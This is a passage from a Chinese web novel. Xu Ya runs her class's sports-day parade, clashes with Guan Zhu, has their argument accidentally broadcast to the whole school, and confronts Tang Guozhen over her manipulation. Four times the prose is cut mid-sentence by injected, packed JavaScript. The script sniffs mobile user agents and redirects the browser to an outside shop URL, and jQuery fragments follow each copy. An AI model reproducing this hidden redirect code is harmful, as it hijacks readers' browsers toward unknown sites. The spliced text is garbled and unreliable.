“哟,开始上价值了?”关铸捏住自己的衣服,把它一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655321|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从徐娅魔爪里拉出来,“我这人不吃这套。” 眼见关铸又要回卧室,徐娅直接拦在他前面,盯着他:“你今天不穿,明天我还来。” 关铸试图绕行,没成功:“你什么时候从属孔雀的变成属牛皮糖的了?” 徐娅心说废话,你这脸那么好的吸睛点我怎么可能放过,我可是个为了目的不折手段的人。 徐娅打算去把卧室门关了,省得关铸试图钻进去,然而刚碰到门把手,手腕突然被一道大力拽住。 她整个人突然转了方向,等反应过来的时候,已经被人摁在墙上,脸和墙面来了个亲密接触。 “谁许你进我房间的?”后面的人把她双手折在背后,膝盖一曲压住她的腿,低头靠近她,“徐大小姐,我最近是太给你脸了是吧?大周末的来我家闹?” “是你老不参加集体活动,我是活动组织者。”徐娅一边镇定地说道,一边试图挣扎。 然而她和关铸无论身高还是体力差距都比较大,挣扎了一通,纹丝不动。 耳边响起关铸低低的嗤笑:“你得了吧。你什么样的人,我不说了解十分至少也有五六分,别冠冕堂皇的。” 徐娅被戳穿,也没红脸,依旧心不慌气不喘:“反正对你也没坏处啊。” 背后的少年突然贴近她,背脊传来温热的触感,耳廓几乎能感受到身后人吐息间的热气。 徐娅脑子空白了一瞬。 好几秒,她才反应过来他说了什么。 “老子不想。” 放完话,关铸就放开了她,哼了声径直回卧室了,还直接把卧室门带上了。 完完全全拒绝。 徐娅怔在原地,好一会儿才回过神来。徐娅心想,她可不是被吓大的。但正想再去敲卧室的门,突然身后传来一阵开关门的声音。 她转过头,门外进来个男生,看到她,眼睛都瞪大了。 两人大眼瞪小眼了一会儿,那男生自言自语:“我走错门了?” 徐娅先反应过来,打招呼道:“你是关铸的哥哥,对吗?” 关叔先前就说过关铸有个哥哥,叫关蔚,也在塘西高中上学,念高三,因为课业繁重,很少能看到人。 关蔚迟疑道:“你是阿铸的同学?” 徐娅点头:“你好,我叫徐娅。” 关蔚一愣:“你就是徐娅啊。” 徐娅没想到关蔚会认识自己:“关铸和你提过我?” 关蔚解释:“不是,你挺有名的,学校里很多人说你很有钱,还撒钱要弄个很隆重的运动会入场式……”正说着,他看到了徐娅带来的那套衣服。 “这是给阿铸的?” 徐娅点头,试图曲线救国:“关铸不想参与入场式,但毕竟是集体活动,还是大家都参加的好。” 关蔚走过去仔细看了看那件衣服,笑了下:“阿铸很排斥穿这些东西的。” “这些东西?” “就是戏服。”关蔚解释道,“以前关叔看中阿铸的声音条件和表现能力,想抓他去他们越剧团,阿铸都被整叛逆了。” 徐娅心想,其实这不是戏服……不过在关铸眼里可能差不多? 看来想把关铸拉去当视频门面确实有点难度。 徐娅只得先告辞。快走到自己所住的那个房子时,她突然意识到一件事——关铸的哥哥,也就是关蔚,好像看着有点眼熟。 说来也奇怪,关铸关蔚这兄弟俩长得一丁点也不像。 虽然两人看脸都属于帅哥,但风格完全不同,关蔚无论是五官还是谈吐气质,都给人温润的感觉,关铸则偏冷,五官线条锐角多,乍一眼看着很凉薄。 那……为什么她会觉得关蔚长得眼熟呢? 她和关蔚应当确实没见过才对。 8. 被议论×好朋友 在那之后,徐娅又尝试了几次,意识到确实攻克不了关铸这块石头,果断转变思路——她决定自己上。 客观来说,徐娅长得还不错,而且是第一眼就会觉得不错的类型。她长相很明艳,即使素颜也是乌发雪肤、唇红齿白,五官也生得很精致,特别是眼睛,眼尾带着天然的上翘,细看有种微妙的勾人感,搭配苹果肌饱满的脸,用时髦的词形容就是又纯又欲。 本来她想着,能把关铸找来当门面的话,运动会开幕当天她就能把重心放在摄影师的拍摄上,这样她会对最终的视频质量更有控制力。 但既然找不到视频门面,她就只能自己上了。 离运动会开幕还有一周,放学后,徐娅请了专业的化妆师来教室给自己和同学们试妆。 妆造完成后,徐娅去洗手间换了服装,换完刚进教室,闹哄哄的教室里瞬间安静了几秒。 大家的目光都集中地看向了徐娅。 “哇支书,你真好看!” 当有第一个人这么说,其他同学也纷纷点头表示赞同。 “超好看,有祸国妖妃那味儿了。” “你这是什么形容词,说点好的行不?” “倾国倾城大美人,可以了吗?” 见大家夸奖自己,徐娅笑道:“你们做完妆造也都很好看啊。” 这倒不是假话,人靠衣装马靠鞍,同学们被专业化妆师收拾了一下,再搭配精致的服装,全班的颜值整体都上升了不止一个度。 大家一边试妆,一边围在徐娅身边聊天。 这段时间以来,徐娅在班里的声望上升了许多,可能是金钱的力量,也可能是办事确实利索。 试妆会弄到了快十一点,等大家都散了,徐娅整理了下教室,这才背着书包准备回去。 走之前她去了下洗手间,刚要出隔间,听见几个人一边聊天一边进来。 “你觉不觉得那个徐小姐超爱出风头的?” “原来不止我一个人这么觉得吗?我之前就看出来了,你回想下开学第一天她自我介绍时说的话,从原来念书的学校,到成绩,再到这个奖那个奖的,我们正常人哪会转学第一天这么介绍自己?” “这次入场式她也把自己排在了C位,服装也是最好的那套,听说还叫了摄影师来拍,怕不是想出名当网红吧?” “而且她从入学就特别针对关铸你发现没?” “故意的呗,前段时间不是还拉着关铸弄什么策划吗?谁知道她到底想干嘛……” 听声音是两个同班的同学,平时和徐娅没什么交集,也没说过几次话。 徐娅站在隔间里思考,现在突然出去吓她们一跳,然后放几句嘲讽的话,估计能欣赏到很精彩的表情。 她并不在意有人议论她。因为家世和好强骄傲的个性,她从过去就经常被人议论。 不被人议论只能说明平庸。 换句话说,被人议论侧面证明了她不平庸,她一直以来的努力不算白费。 从某种扭曲的角度看,这甚至有点像一种“暗黑”的勋章。 徐娅最终没有走出隔间,也没有向那两个议论她的同学放出嘲讽。 毕竟很快就到她精心策划的入场式了,此时不宜引起纠纷,她不允许任何破坏效果的因素出现。 但令人惊讶的是,徐娅虽然没出去,却有人帮她还嘴了。 “那些服装之类的本来就是她自己出的钱,她选其中最好的也正常吧,而且她确实长得不错,站C位也挺合理的。” 是一个有点怯生生的声音。 徐娅回想了很久,终于想起来声音对应的脸。是一个在班里很没有存在感的女生,座位在关铸那个位置的前前排,戴着眼镜,留着学校宣传栏上女学生标准短发发型的百分百复刻款。 好像叫唐果贞。 她与唐果贞并没有交集,没想到唐果贞会帮她说话。 徐娅在隔间等了一会儿,听卫生间没声音了才出去。 结果一出去,愣住了——唐果贞居然还没走。 唐果贞正站在卫生间镜子前发呆,背后突然出现个人,吓得低呼一声。好一会儿,反应过来背后的人是谁,才讷讷问道:“徐……徐支书,你还没回家啊?” 徐娅点了点头:“正要回去。” 唐果贞犹豫了一下,问:“刚才那些人……你都听见了?” “听见了。” “你别太难过,她们也只是过嘴瘾,其实没有太大恶意的。” 徐娅心想,那还不叫太大恶意的话,那什么是太大恶意呢? “总而言之,刚才谢谢你帮我说话。” 唐果贞有点害羞:“我就说了两句实话……对了,天已经很晚了,我们一起走吧,比较安全。” 徐娅一顿,点头:“好。” 徐娅没想到唐果贞会主动邀请她同行,毕竟在她的印象里,唐果贞非常内向。 走在路上,徐娅意识到,唐果贞有点像一个人——她名义上的妹妹,徐惠。 内向,打扮很死板,没有存在感。 徐娅警惕并厌恶着继母胡艳蓉和她的一双儿女,但非要说其中略微观感好一点的,可能只有徐惠了。 来到这个小镇后,整个徐家也只有徐惠主动联系和安慰过她。 之后几天,徐娅和唐果贞一直走得很近,徐娅在棠溪高中还没结交到同性朋友,倒也不排斥这种走近。 运动会开幕前一天,学校里到处都是正在排开幕式的班级。徐娅也组织班里的同学进行最后的排练。 排完已经天黑了,其他同学陆陆续续走了,徐娅则留在教室,一边和学生会沟通到时候入场的顺序和注意事项,一边联系化妆师和摄影师明天到场的时间,还和摄影师讨论了下到时候拍摄的机位。 这一忙就忙了两三个小时。 中途唐果贞过来看她。唐果贞家也离学校不远,她吃了晚饭写了作业以后出来遛弯,看自己班级灯还没熄灭,就知道徐娅还没走。于是就给徐娅带了点零食和饮料。 见徐娅还要忙一会儿,她干脆也留下来,在教室里看漫画。 徐娅觉得唐果贞对她还挺主动的,这点和徐惠也很相似。明明对她们这样内向的人来说,交朋友应该很难去主动。 从前还在徐家的时候,徐娅恶意猜测过徐惠亲近自己的真实动机,并且默默观察徐惠,试图找到证据去佐证自己的猜测。 但很可惜,徐惠只是单纯地亲近她,直到离开徐家,她都没有发现其中有任何恶意。 徐娅觉得很不可思议,明明她和她亲妈撕得山崩地裂的。 现在和徐惠性格气质有那么点像的唐果贞也莫名亲近她,难道她身上有什么吸引这类人的特殊气场? 总而言之,徐娅因为徐惠的缘故,下意识地对唐果贞比较信任和友好。这很难得,因为徐娅的个性是比较难对一个认识没几天的人这么信任友好的。 后面复盘这件事,徐娅意识到这是一种潜意识的、不理智的替身效应。她从前在徐家时并不怎么回应徐惠对她的热情,现在回想起来,即使依旧为徐惠是胡艳蓉的女儿感到排斥,但还是感到些许歉疚。 徐娅在班里忙到深夜九点多,把明天入场式的事情安排周全后,满意地伸了个懒腰,准备回去了。 唐果贞见状问道:“忙完了?” 徐娅点头:“走吧,一起回去。” “好。” 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655322|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起走出学校,徐娅给唐果贞讲了一些和学生会沟通时发生的有意思的事。从前在徐家时,她很偶尔地和徐惠多讲几句话,徐惠总是听得很开心,会抿着嘴咯咯笑。 不过唐果贞似乎心不在焉,并没有对她的话有太多反应,只偶尔点点头表示听到了。 走到一个路口,两人站在路边等红绿灯,唐果贞突然问道:“徐娅,你是不是和关铸走得很近啊?” 徐娅没明白话题怎么突然转到关铸,只摇了摇头:“没有啊。” “前段时间你们不是每天在一块忙活动策划,然后你还去他家找他,想让他也参加入场式吗?” 徐娅忙了一天脑子动得有点慢,模模糊糊地想她跑关铸家找人的事传这么广的吗? “那个只是工作,本来运动会开幕策划应该是关铸来主导的,他扔给我,见我忙得焦头烂额,估计良心有点过不去,所以才来帮我的吧。” “可是关铸很少和女生走那么近,我觉得你是不一样的。” “?” 徐娅鸡皮疙瘩都起来了:“别了吧,这种不一样我可不需要。” 更何况她才没觉得关铸对她有什么不一样。 绿灯亮了,两人沉默着走过斑马线,刚踏上对面的人行道,唐果贞又说:“关铸很受女生欢迎。” “是吗?” “所以我担心你也这样。” “哪样?” 唐果贞抬眼,迅速瞥了她一眼,继续说道:“我们是好朋友,所以我得提醒你,你不可以沉进去的。以前有女生喜欢他,还因为和关铸叔叔认识所以能和他走得很近。后来女生的男朋友找了十来个帮手去打关铸,没打过,回去以后不知怎么回事,拿女生泄愤,把女生打得很惨。女生毁了容,就再也没出现在关铸面前。你有没觉得关铸这个人就很……祸水?” 徐娅的关注点在另一个方向,皱眉:“打不过关铸,于是回去打了女朋友?” 她还以为这人打关铸是因为对女朋友多深情,原来只是自恋受挫。 唐果贞见徐娅没回答她的反问,停下了脚步。 徐娅奇怪,也停下,转头看她:“怎么了?” “……我很担心你的。”唐果贞低着头,“我给你看个东西。” 第二天一大早,徐娅早早起床,她有点兴奋,毕竟今天就是检验她这段时间成果的日子了。 她的成果即将惊艳全校,而后惊艳全网,引起领导们的关注,她将斩获荣誉,积累荣誉,风风光光被徐父接回家。 徐娅一边在脑内不着边际地畅想光辉的前景,一边忙入场式前的准备工作。 全班唯一没参加这次入场式的,只有关铸。 今天班里也没看到关铸人影,不知道跑哪逍遥去了。 按照顺序,高二3班是第十五个出场,刚从操场一侧露面,就吸引了全校注意,连观台上的领导们都不自觉全部看了过来。 精致又华丽,完全超出了学生运动会入场式的水平——虽然是靠钱堆砌出来的,但确实够吸睛也够用心。 已经结束入场的班级,正在等候入场的班级,几乎全校所有人都凑着脑袋看向高二3班的方阵。 徐娅更是其中焦点。 大家惊艳的视线让徐娅感到快乐,她带着她的成果到观台正前方,一组一组地表演不同的历史礼仪和历史运动。 效果很好,除了她自己请来的摄影师,不少人拿手机出来录像拍照,甚至观台上的校领导都有在拍的。 广播里配合班级方阵的入场,大段的介绍词被读出。 读介绍词的是一个很好听的男声,口条极标准。 徐娅愣了片刻,皱起眉,意识到这个读介绍词的人是关铸。 9. 怼怼怼×小意外 徐娅一边领着班级的同学们进行入场表演,一边听广播里的介绍词。 “这一组的展示中生理为男的女孩穿着裙子,生理为女的男孩穿着男装,没有人投来怪异的目光,他们和所有人一起快乐地玩耍……这一组的……没有人对……投来怪异的目光,他们和所有人一起快乐地玩耍……” 这不就是那位胡会长给3班入场式的每位同学安的人设吗? 虽然大部分人都在惊叹3班入场式的精致,没注意到淹没在嘈杂会场中的广播声,但也不是完全没有人在听,这部分听了广播的人表情越来越诡异。 校领导那边估计胡会长通过气,对一些莫名其妙的东西睁一只眼闭一只眼,校内自己搞搞的运动会一切以“塘西高中要出一个常春藤”为优先。 精心策划的成果配上这样的入场广播,有种鲜花被兜头浇了粪般的感觉。 连带念广播的那个声音都莫名显得难听起来。 结束入场式后,正式开始运动会。 徐娅本打算趁着这个时间去看下摄影师拍摄的内容,商量一下选取哪些片段,结果却忙得连轴转。 一会儿被叫去校对3班运动员名单,一会儿被叫去给班里上场比赛的同学买水买吃的,一会儿被叫去给被裁判误判的同学伸冤。 至于为什么她会忙成这样,自然是因为班长同志失联,所有跟班级有关的事都只能找她。 忙了一下午,摄影师因为等得不耐烦都已经走了。 徐娅感觉自己的怒气值从昨晚开始就在一点点累积。 宣传委员又来找她:“支书,这是我们班今天下午比赛的宣传稿,麻烦你去交给学生会。” 徐娅面无表情转过身看他。 宣传委员被她的样子吓了一跳:“支……支书?” “没事。”徐娅拿走宣委手里那叠宣传稿,“我很快回来,你帮我核一下我们班下午所有成绩有没有错判的。” “哦……哦。”宣委扶了扶眼镜,默默走到一边开始对成绩。 徐娅大步流星往学生会的工作室走。 学生会的工作室是用一间闲置的老师办公室改的,门开着,里头几个学生会的成员在悠闲谈笑,徐娅敲了敲门,吸引里头的人。 “什么事?” “来交高二3班的宣传稿。” 回应的那个学生会成员皱眉,没好气道:“你们班怎么这么晚?我已经把其他班级的稿子收齐送到楼上了,现在难道要我再去送一趟吗?” 徐娅深吸了口:“楼上哪个办公室?我自己去送。” 那人翻个白眼:“六零三。你最好快点,五点截止,截止了还没送到,你们班宣传稿的分就没了。” 徐娅都懒得回话,转身就走。那人似乎没想到她就这么走了,嘀咕:“什么人啊,自己送迟了,还这么大脾气……” 到底谁脾气大? 徐娅觉得自己现在是一个胀满了气的气球,在引爆的边缘来回试探。 上楼的电梯还坏了,徐娅只得走着上六楼。 六零三就在楼梯边,徐娅还没踏上最后一阶楼梯,就听见一阵清脆的笑声。 那人一边笑,一边用嗲嗲的声音在说话:“你声音很适合播音的,我舅舅是央音的领导,你要是有往这个方向发展的意思,我可以介绍你们认识。” “不好意思,没这个意向。” 两个声音都耳熟。 徐娅走到六零三门口,这才发现原来这间办公室就是学校的广播室。 广播室里有近十个人,基本都是学生会的成员。这次校运会被交给胡会长做政绩,所以包括广播在内上上下下的事务都由学生会来负责。 当然,广播室里面也有一个不是学生会的成员。 这位非学生会成员正倚靠在窗边,侧头看着窗外,而胡会长站在他边上,笑意盈盈地和他聊天。 除了这两人外,其他人都在工作。 徐娅没想到关铸在这儿。 虽然入场式时在广播里听到了关铸的声音,但后来校广播都是其他人在念,且中途徐娅也让体委去广播站找找看关铸在不在,体委说不在。 空调,零食,美女陪聊,他过得好滋润啊。 徐娅敲了敲门框,有点咬牙切齿:“你好,我替高二3班班长来递交我们班的宣传稿。” 屋里的人都转头看过来,徐娅没管其他人,只冲着窗户边的人一笑。 关铸一眼就看出徐娅满身炸药味儿。他顿了片刻,皱起眉。 胡会长看了看手表,对徐娅说道:“怎么回事,现在都过时间了,学生会不是为了你一个人服务的,过了时间我们就不收了。” 其实没过时,她敲播音室门框时是四点五十九分十九秒。 但徐娅懒得解释,就笑眯眯看着关铸。 关铸面无表情地和她对视了一会儿,终于走过来,接过她手里的一摞宣传稿。 他随意翻了翻这摞宣传稿,说道:“学姐,她到的时候还没五点呢。” 胡会长走到关铸身边,像是想要表达亲昵似的,手一伸想搭在关铸肩上。不过正好关铸转了个身走向坐在播音台前的一个同学,于是那手就落了空。 徐娅耳尖,听到胡会长轻哼了一声。 胡会长收回手,招呼道:“到点了,大家该下班了。” 坐在播音台前的是个戴着眼镜的女孩,气质看着就是做事极认真的那种。她愣了愣,说道:“高二3班的宣传稿不用筛看吗?” “你愿意加班就自己加班,其他人,跟我走,校运会圆满结束,学姐请大家吃饭。” “哇!” “好耶!” 其他几个学生会的成员一听下班和请客,高兴地从椅子上蹦起来,跟在胡会长身后,一群人大摇大摆走了。 刚才还满满当当的办公室瞬间就只剩下三个人。 那个看着就很认真的女生拿着高二3班的宣传稿开始认认真真筛看。 徐娅和关铸都没说话。两个人都操着手,一个靠在桌边看正筛稿的那女生,一个靠在窗边看外面。 气氛莫名地凝滞。 徐娅敏锐地意识到,关铸似乎心情也不怎么好。 这让徐娅有一丝诡异的兴奋。 她转身,歪头看着关铸:“在空调房里悠闲了大半天的人,怎么也摆着张脸?” 关铸瞥徐娅一眼,似乎看出了她的意图,没搭腔。 “因为某人失职,连累别人多干了很多活儿,关大班长,你没什么想说的吗?” 其实徐娅的挑衅,关铸一般都是懒得搭理的,但他这会儿心情很难得的属于是差到了极点,整个人就比平时少了许多耐心。 他嗤笑了下,嘲道:“有的人自己喜欢揽活儿,完了还喜欢赖别人。” 徐娅皱眉:“你什么意思?” “她觉得世界没了她转不了,总是试图当救世主,其实呢,没有她,事情也会被安排得好好的。” 徐娅沉默和他对视了一会儿。 运动会时找不到关铸,她看大家都有点茫然,觉得既然自己是支书,就该在这时候站出来领导大家,于是发话说一切由她负责。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655323|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚说完,老郑正好过来,他听到她的话,惊讶:“哎呀小徐,你要接手啊?” 她隐约意识到老郑可能本来想过来说什么事的,可周围同学崇拜地看着她的目光让她有点飘飘然,于是她没多想就点了头:“我是支书,这是我应该做的。” “那太好了,班里今天就交给你啦。” 现在回过去仔细想想,那会儿老师们应该都在当裁判,老郑怎么会突然回到班级场地? “你提前跟老郑说过你今天不在?” 关铸抬手拉开窗,从口袋里拿出包烟,抽出一根咬住,正想点上,估计想起他最近还处于被教导主任紧盯的时期,最后作罢。 广播室里第三个人的方向传来一阵轻微的异响。不过正忙着互嘲的两人没注意到。 “说到底最后也是别人接手了你的活,而你一个人在这里偷清净。而且把责任甩给别人也不是第一次了,上次策划那事你还是故意的呢。” 关铸冷笑:“有的人自己揽活的时候可不是这个心态。估计不出自己到底几斤几两,大包大揽所有事,结果到处都捉襟见肘,完了还觉得自己特委屈,要别人帮着擦屁股就算了,还跟个爆竹一样,逮着机会想发作呢。” 徐娅被刺中,往前走一步,盯着他:“你说我什么?” 关铸从窗台前站起来,微微弯腰,手插在外套兜里,低头与徐娅对视:“大小姐,我在劝你别太自以为是。” 徐娅抬眼看着关铸,虽然有身高劣势,她气势上倒是没输一分,她冷笑:“你倒是很爱教育别人啊,你以为我不知道你到底什么德行吗?平时装得坦坦荡荡,实际表面一套背后一套呢。” 关铸皱眉:“什么?” 徐娅想起那个视频画面,昏暗的教室里,男男女女在交谈,关铸垂眸玩打火机,嘴角是漫不经心的笑。 胡会长的声音响起:【你们班那个徐娅,别看在学校里伪装成白富美,其实我听说了,她压根不是什么富二代。真是好笑啊这个人,给自己编人设,到处找机会出风头,到底是多自卑啊。】 说她好笑,可好笑的又何止她一个。 手握成拳,紧得指甲刺进了手掌肉也没知觉。 徐娅想起前不久张妈跟她说的一则秘闻,盯着关铸精致又凉薄的面孔,报复般地说道:“有的人别看平时混得风生水起,可是自己的亲妈其实是……” 后面的话还没出口,她被关铸脸上骤然冰冷的表情震住了。 不知怎么的,徐娅有点发热的脑袋瞬间清醒了。 昨天唐果贞拿出那个视频给她看的时候,她不就意识到,她是故意的么? 还是受到那个视频影响了吗? 因为那个视频撕破了她最不想别人知道的隐秘。 关铸知道这个隐秘。 其实关铸点评她的那些话她自己也是清楚的。 说白了,她只是太生气,忙碌时堆积起的负面情绪也好,本该完美的策划成果偏偏不得不加很多屎一样的东西也好,秘密被人在背后揭开议论也好。 她只是故意想找人吵架罢了。 也许更早一点,从来到这个小镇的时候,她就是这样的状态。 只是怎么每次想找人吵架都碰上同一个人呢? 徐娅止住了话头,关铸也没说话,广播室突然就安静了。 而其实从刚才开始就一直在试图拉架、广播室里的第三个人,弱弱的声音终于被听见了。 “你们别吵了,刚才我不小心把广播推开了,我力气太小,试了几次都没推回来…………” 10. 当空气×不理智 第二天上学,徐娅走进学校,发现不少人一边偷瞄她,一边议论着什么。 到班级,同班同学的反应也是如此。 而关铸走进班级后,徐娅知道不少人目光在她和关铸之间打转。 毕竟昨天她和关铸的争吵一不小心全校公开广播了。他俩在学校都小有名气,于是吵架的关注度就更高了。 当时已经放学,还留在学校进而听到吵架实时转播的只有一部分人,然而很快,一传十十传百,这件事就几乎传遍了全校。 争吵的激烈程度还在流传中升级了好几个度。 总之,在传言里她和关铸非常不对付,已经是想要互相搞死对方的仇敌关系了。 徐娅翻开书开始早自习。 不得不说,是有点尴尬的。 如果这场争吵没被广而告之,等过两天她气头过去了,大概还能和从前一样,至少表面和平地和关铸相处。 但因为已经广而告之,这场争吵的分量似乎被加码了。 至少徐娅有点被架着下不来台的感觉,大家都知道她和关铸关系恶劣,所以但凡她主动和关铸说一句话,就会有种“输了”的感觉。 于是徐娅只能把关铸当空气。 显然关铸也把徐娅当空气了,徐娅琢磨估计是因为她差点在他面前用不好听的词语形容他的亲生母亲。 总而言之,如今两人在走廊上正面碰上,都能目不斜视的走过去。 徐娅并不对目前的状况感到抱歉,毕竟虽然她昨天口气有点冲,但关铸跑去帮讨厌的胡会长广播、还参与背后议论她,怎么想都是他更有问题。 而且他们本来也只是同班同学罢了,互相当不存在也不会对生活产生什么影响。 两个当事人对当前的情况似乎都接受度良好。 罗雾竟然成了这件事里最忍不了的人。 他在塘西高中一共就交到了两个朋友,结果这俩朋友成仇敌了,都没法找他们一起愉快地玩三人斗地主了。 一天放学,罗雾正好在校门口遇到徐娅,两人互相打了招呼后一起往外走。 “学姐,你和关哥还僵着呢?” 徐娅纠正他:“这不叫僵着,这叫正本溯源。” 她和关铸就应该是这样的关系,前些日子走得近一些纯粹是因为班委工作的关系。 罗雾瞅她,问:“关哥做什么了,学姐你突然这么讨厌他?” 徐娅抬起根手指摇了摇:“不是突然讨厌,是一直都负面观感居多。” 然后徐娅就把前几天发生的事说了一遍。 “你看,怎么想这次都是关铸问题更大吧?” 罗雾垂着脑瓜,想了老半天,嘟囔:“关哥不是会背后议论人的那种人,他去帮学生会广播肯定也有什么原因的。” 徐娅撇嘴:“行,我就知道你心是歪的。” “不是,哎呀总之我会去搞清楚怎么一回事的,学姐我明天再找你。” 第二天罗雾没来找徐娅。徐娅有点恶意地猜想,可能是罗雾找不到他关哥的苦衷,所以不好意思来找她。 罗雾没找她,另一个人找她了。 放学后徐娅正收拾着书包,课桌前突然站了个人。 她抬起头,是唐果贞。 运动会之后,她已经有好几天没怎么和唐果贞说话了。 唐果贞支吾着,似乎想要问什么。 徐娅率先开口:“一起走吗?” 唐果贞点了点头。 一路上两人都很沉默。见徐娅一直没有开口说话,最后是唐果贞率先开了口。 “你和关铸最近吵架了?” 徐娅并没有直接回答问题,反而提起另一件事:“我们第一次说话那天,是运动会前一周、我组织班里同学试妆的那天晚上吧?有两个女生在洗手间议论我,你帮我说了话。” 唐果贞一顿,似乎有些局促:“啊,我都有点忘了,怎么了?” “你准备得这么精心,怎么会这么容易忘了呢?”徐娅笑了一下,“那天不是你故意引导那两个女生讨论我,然后再把她们带到洗手间的吗?” 唐果贞立刻反驳:“这是她们和你说的?她们是乱说的,她们肯定误会了我当时和她们说的话,才会觉得我在引导她们!而且我当时是真的要去洗手才带她们一起去了洗手间!” “哦。”徐娅点了点头,“刚才我都是瞎猜的,我怎么可能去和对我有意见的人聊天?” “……” “不过原来那天晚上真的是因为你,那两个女生才开始议论我,也是因为你,她们才会出现在那个洗手间啊。” “……” “我听人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655324|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你和关铸从小学时就在同一个班。”徐娅突然发问,眼睛斜瞥了一眼唐果贞,“你喜欢关铸?” 唐果贞抖了一下,眼睛瞥向一边,扯了扯嘴角:“你怎么会这么想?他都不怎么注意到我的。” “上次你说有个女生喜欢关铸,跟他走得很近,后来她男朋友知道了,先叫了十来个人一起去打关铸,后来没打过,回去打了这个女生,导致她毁了容。这件事,你是不是也参与了?” 唐果贞没说话。 徐娅也没想得到什么真实的回答,她猜想那件事会造成这么严重的后果,应该少不了有人在其中挑拨离间。 “其实你有点像我的一个……亲人,我本来是很希望能和你成为朋友的。”徐娅觉得有些遗憾,“我真的一点也不喜欢关铸这种一无是处的小混混,只是因为最近和他走得有些近就要设计我吗?” “关铸很好,不是你觉得他一无是处,他就真的一无是处的。你不要太自以为是。” 徐娅愣了愣,有点感慨,唐果贞对她这一大通发言里最激动的居然是那句‘关铸这种一无是处的小混混’。啧。 “既然你讨厌我,我们就没必要走得太近了,对吗?” 唐果贞顿了一会儿,转头看了徐娅一眼,厚眼镜下的面容毫无表情:“我确实很讨厌你,你这样的人,看起来再光鲜,也是没有心的。” 徐娅皱起眉,想吐槽,你有心,一颗肆意设计其他人的黑心是吧? 如果不是她天生警惕,在她最开始有动作时就反应过来了,还不知道后面有多少坑等着她,直到她也和那个女生下场一样。 两人走到路口,徐娅停下脚步。而唐果贞直接右拐,一步不停地往自己家的方向走。 徐娅转头看着她的背影,其实有点困惑。 为什么人可以为了毫无好处的事产生那么强烈的行事动机?明明做那些腌臜事,她喜欢的人也不会注意她。 在徐娅的观念里,有利益驱动,人才可能产生行事动机。 但喜欢这种感情,好像会让人变得很不理智。 徐娅静了一会儿,向唐果贞的背影说道:“从今天开始,我会一直盯着你。如果你再次起了伤害别人的心思,这次的事、那个女生的事,我会一起算总账。” 唐果贞的背影没有停顿,但徐娅知道她听到了。 11. 洗白了×阴暗角 之后又过了两天,说要搞清楚事情真相的罗雾依旧没出现。徐娅渐渐就把运动会发生的那些糟心插曲抛到了脑后。 她精心剪辑了她的运动会班级入场式作品,以弘扬历史为主题发到网上后,果然因为精美用心获得了一波流量。 虽然没有达到她设想中那么大的热度,但效果也还算合格,更重点的是,没几天后省文化局转发了她的视频,点名表扬了这个入场式。 校领导知道后,还在晨会上对高二3班全班以及策划负责人徐娅提出了表扬。 徐娅得意了好几天。到周末时,距离运动会已经过去两周。 周六中午,徐娅吃过午饭后打算写作业,发现忘记把数学书带回来,于是又去了一趟学校。 因为是周末,学校里没有什么人,除了秋风吹动树叶的声音外,很是安静。 沿着楼梯往上走,明明是大中午,顺着走廊吹进楼道的风却有点冷,徐娅把小外套的扣子扣上。 运动会之后就开始降温了,明明从时节上来说早就已经进入秋天,可体感上最近才有点秋天的感觉。 快要走到高二3班所在的楼层,徐娅突然听到有人叫她。 她从楼梯上探出头往下看,果然看到了楼下墙角背光处躲着一坨人——竟然是好几天没见到的罗雾。 徐娅问道:“你怎么在学校?” 罗雾从阴暗的墙角挪动出来,不知道是错觉还是光影的原因,徐娅觉得他本就很长的刘海似乎变得更长了,本就遮了眼睛,现在更是快遮了三分之一根鼻梁。 加以时日cosplay贞子也是惟妙惟肖。 罗雾没回答徐娅的问题,挠了挠头,问:“那学姐你呢,你怎么在学校?” “我回来拿数学书。” 两人又随口说了两句话,罗雾说他还有事,就转身走了。 